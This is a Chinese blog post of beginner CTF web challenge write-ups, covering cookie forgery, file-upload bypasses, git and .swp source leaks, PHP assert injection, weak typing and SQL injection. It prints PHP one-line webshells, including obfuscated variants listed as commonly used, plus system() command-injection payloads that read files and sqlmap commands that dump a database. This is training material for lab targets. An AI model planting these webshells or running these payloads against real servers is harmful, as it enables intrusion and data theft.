CTF-WEB入门练习

突然发现一年多没更新过了,纪我曾经的ctf青春

目录

基础练习

Who Are You?

Broken

文件上传练习

Do you know upload?(第三届“百越杯”福建省高校网络空间安全大赛)

git源码泄漏练习

BABY PHP

实验吧

1.后台登录

2.Forms

3.貌似有点难

4.what a fuck这是什么鬼东西

5.猫抓老鼠

6.文件泄漏

7.天网管理系统

8.Oncemore

9.Guess Next Session

10.这个看起来有点简单!


 

基础练习

Who Are You?

题目描述:我是谁,我在哪,我要做什么?题目链接:http://106.75.72.168:2222/
​打开题目显示:Sorry. You have no permissions.
在遇到这种情况时我们需要考虑三个方面:
1.是否存在敏感文件泄露?
2.是否存在跳转?
3.cookie/session
我们逐项来看,首先是文件泄露
图片描述

通过御剑扫描,我们似乎并没有发现什么有用的信息,接下来是跳转,使用bp抓包,同样也没有发现有跳转的有用信息,那么只剩下了cookie,我们查看cookie。
图片描述很明显这是一个base64加密过的字符串,我们对其进行解密,得到f:5:“thrfg”; 根据经验我们会发现这是一个rot13加密,我们对其进行解密得到s:5:“guest”; 到这里我们就明白了,我们需要admin权限,那么反过来我们队admin进行rot13以及base64加密得到一个新的字符串,将原来的cookie进行替换来试一下
图片描述

我们成功的进入到了下一个页面,查看源代码
图片描述通过源代码我们很容易发现这是一个文件上传漏洞,尝试上传一个文件
图片描述

但是好像并不成功,页面返回了No No No!,我们猜测这其中有正则过滤,但是我们又知道preg_match函数的$subject参数要求是字符串,如果是数组类型的话,函数会返回false,尝试修改data为数组进行POST,我们得到了返回值,访问这个路径便会得到flag。


图片描述

Broken

题目描述:you got a file, but … 题目链接:http://106.75.72.168:1111/
打开题目后会显示Hi, a CTFer. You got a file, but it looks like being broken.
查看file,可以发现这是一段jsfuck编码

CTF-WEB入门练习_第1张图片

老司机们一定会想到控制台跑一下,但是会发现并没有运行结果,我们再来仔细的看一下这段编码,似乎发现和我们平常的jsfuck是有区别的,正常的jsfuck开头为[] (![]+[]),而我们的开头似乎少了一个],我们补全后再次运行,会看到
CTF-WEB入门练习_第2张图片

flag is not here,很明显这是调用了函数显示出的弹窗,于是我们删掉最后的()调用便可以得到flag


文件上传练习

Upload(百度杯九月场)

题目描述:想怎么传就怎么传,就是这么任性。hint:flag在flag.php中  

打开题目链接以后我们会发现这是一道文件上传的题目,并且题目说你可以随意上传文件,那我们上传一句话木马试一试。

CTF-WEB入门练习_第3张图片

构造一个简单的一句话木马:

上传文件,上传成功后我们打开上传的的文件看一下,会发现我们的一句话木马变成了这个样子:

@eval($_POST[value]);?>

说明过滤了

@eval_r($_POST[sb])

再次上传并连接菜刀便可以找到flag.php文件

CTF-WEB入门练习_第4张图片

这道题目是一道基础的文件上传,需要我们学会一句话木马以及菜刀的使用方式,列举几个常见的比较特殊的一句话木马,在大家今后的学习中会经常用到。  

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  

$hh("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话

$filename=$_GET['xbid'];  

include ($filename);//危险的include函数,直接编译任何文件为php格式运行

$reg="c"."o"."p"."y";  

$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);//重命名任何文件

$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  

$gzid("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话

$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  

$gzid("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话

include ($uid);//危险的include函数,直接编译任何文件为php格式运行

POST  //gif插一句话

Do you know upload?(第三届“百越杯”福建省高校网络空间安全大赛)

题目描述:加油吧,少年。

CTF-WEB入门练习_第5张图片

和上一道题目类似,只不过这道题目要求我们上传一张图片,我们有两种处理方式,在这里我为大家一一演示。

方法一:上传jpg

我们将写好的一句话木马制作成jpg格式,并且上传抓包

https://img2.mukewang.com/5ba244730001742e06260104.jpg

在这里我们将其更改成.php文件重新上传

https://img2.mukewang.com/5ba244a60001cdfa06240115.jpg

https://img3.mukewang.com/5ba244b00001a6c508470076.jpg

图片上传成功,我们可以看到图片存在upload/aaa333.php下方,菜刀连接。

CTF-WEB入门练习_第6张图片

在config配置文件中我们看到了数据库的用户名和密码,连接数据库,

CTF-WEB入门练习_第7张图片

在数据库中我们拿到了flag。

CTF-WEB入门练习_第8张图片

方法二:上传.php文件

我们在这里也可以上传.php文件,但是网页会显示如下图所示的文件类型不允许,

CTF-WEB入门练习_第9张图片

于是我们对其进行抓包,

https://img3.mukewang.com/5ba247620001373906310086.jpg

更改Content-Type: application/octet-stream为Content-Type: image/jpeg,POST,接下来做法和上边的相同,小伙伴们可以自己动手试一下。


git源码泄漏练习

 在正式做题之前,我们首先需要了解一下什么是Git源码泄露。提到网页漏洞,你可能会更多的想到XSS,CSRF,SSRF,SQL注入等等,其实源码泄露在我们日常生活中也是一个经常出现的问题,例如2015 年 5 月,乌云白帽子“lijiejie”提交的漏洞 “大众点评某站点 git 泄漏源代码“,缺陷编号:wooyun-2015-0117332。在此次案例当中,白帽子发现 URL(http://qq.m.dianping.com/.git/ )可以访问,于是通过工具 githack 下载里面的文件,这便是很典型的一个源码泄露案例。那么问题来了Git源码泄露是如何产生的呢?我们如何检测Git源码泄露呢?

        Git源码泄露普遍发生于一些小型企业(当然大型企业也存在),由资金不足,公司可能没有自己的专属服务器,于是会将网站部署到虚拟机里,由于在多数情况下FTP上传文件较慢,于是程序员多选择将源码打包以后上传,上传以后在进行解压,虽然这样子看上去省时省力,但是其实留下了不少的安全隐患,一旦程序员忘记将压缩包删除,攻击者便可以获取源码,在自己的服务器上部署源码从而获取更多的安全漏洞。我们常用的到的工具为王一航大佬的GitHack,大家可以去GitHub上进行下载:https://github.com/WangYihang/GitHacker

在有以上基础知识以后我们正式开始今天的练习,题目来源Jarvis oj,通过今天的练习我们要掌握Git源码泄露,assert()函数的语法以及PHP注入的常规操作。

BABY PHP

打开题目链接,我们可以看到如下界面,随意点击查看,

 

CTF-WEB入门练习_第10张图片

在About界面下我们看到了Git,这不免让人怀疑是否存在GIT源码泄露

CTF-WEB入门练习_第11张图片

我们再查看一下源代码

https://img4.mukewang.com/5baa05da00010c4605290042.jpg

发现有一个小的hint,?page=flag,那么不出意料的话,我们的flag会存在于flag.php下,既然猜测有源码泄露,那么我们不妨尝试一下,果然是有东西存在的。

CTF-WEB入门练习_第12张图片

对以下代码进行审计,整体上来看,page函数存在注入漏洞,

CTF-WEB入门练习_第13张图片

我们来看assert函数,assert()函数会将读入的代码当做PHP代码来执行,注入思路:整体上可以注释掉’, ‘..’) === false,或者不注释,只在中间插入。我们使用?page=flag’.system(“ls”).’来查看目录,进入目录查看文件?page=flag’.system(“cd templates;ls”).’查看flag:?page=flag’.system(“cat templates/flag.php”).’查看源代码,这道题目就完成了。

总计:在PHP代码注入中:

连接自己的命令 :;and | . ,


system(“xxx”) 中命令使用双引号


闭合引号时:php中单引号不解释变量,双引号解释,一般都是单引号

实验吧

1.后台登录

CTF-WEB入门练习_第14张图片

输入ffifdyop得到flag

2.Forms

CTF常见题型之查看源码,查看源码发现post,而且value=0,type=hidden,所以使用火狐插件更改showsource的值,得到a的值,提交得到flag

CTF-WEB入门练习_第15张图片

3.貌似有点难

X-Forwarded-For代表客户端请求者的真实ip,得到flag

4.what a fuck这是什么鬼东西

控制台跑一下得到flag

原理:jother编码:jother是一种运用js中利用少量字符构造精简的匿名函数方法对字符串进行编码的方式。比如!+、[]{}等等……

5.猫抓老鼠

Bp抓包,看到一个base64加密的样子的字符串,其实直接提交到key栏里就可以得到key,不需要进行base64解密的。

6.文件泄漏

第一次见到.swp文件泄露,产生这个的原因是在使用vim编写时,断电等其他非预期情况终止编写,系统便自动保存了.swp文件。查看源代码,在content处看到了vim,所以猜测是.swp文件泄露,访问2,使用bp抓包

CTF-WEB入门练习_第16张图片

构造url   .submi.php.swp

再看到如下内容

第一行:如果token长度不是10,fail,

第二行:如果token值不为0,fail

第三行:要使用管理员邮箱,我们在第一次抓包已经看到了管理员邮箱

所以构造url

http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0e00000000

7.天网管理系统

查看源码,得知考察的是md5的弱类型,google一下就行,得到一个url

/user.php?fame=hjkleffifer  

然后看到一段话

$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str);

if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

看到了unserialize这个东西,去查了下,这是php反序列化,如下图得到flag

CTF-WEB入门练习_第17张图片

8.Oncemore

CTF-WEB入门练习_第18张图片

分析代码从上到下

要求1.正则包含小写a-z,大写A-Z,以及数字0-9,否则弹出你的密码必须包含字母数字

要求2.长度要小于8,但是值要大于9999999,并且password里必须含有*--*

想一下只能是科学计数法,尝试

题目中的要求1.ereg()漏洞,ereg()的漏洞是%00截断,所以尝试1e9%00*-*得到flag

9.Guess Next Session

查看源码,发现有get请求,一般情况下有get就压考虑抓包,进行抓包,我们传入一个password,但是由于rand是一个随机函数,我们也不知道接下来会是什么,所以我们将presses和password的值都设为空运行一下得到flag

10.这个看起来有点简单!

有注入,sqlmap跑一下

~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables  
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --hex
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump  

 

你可能感兴趣的:(信息安全,CTF)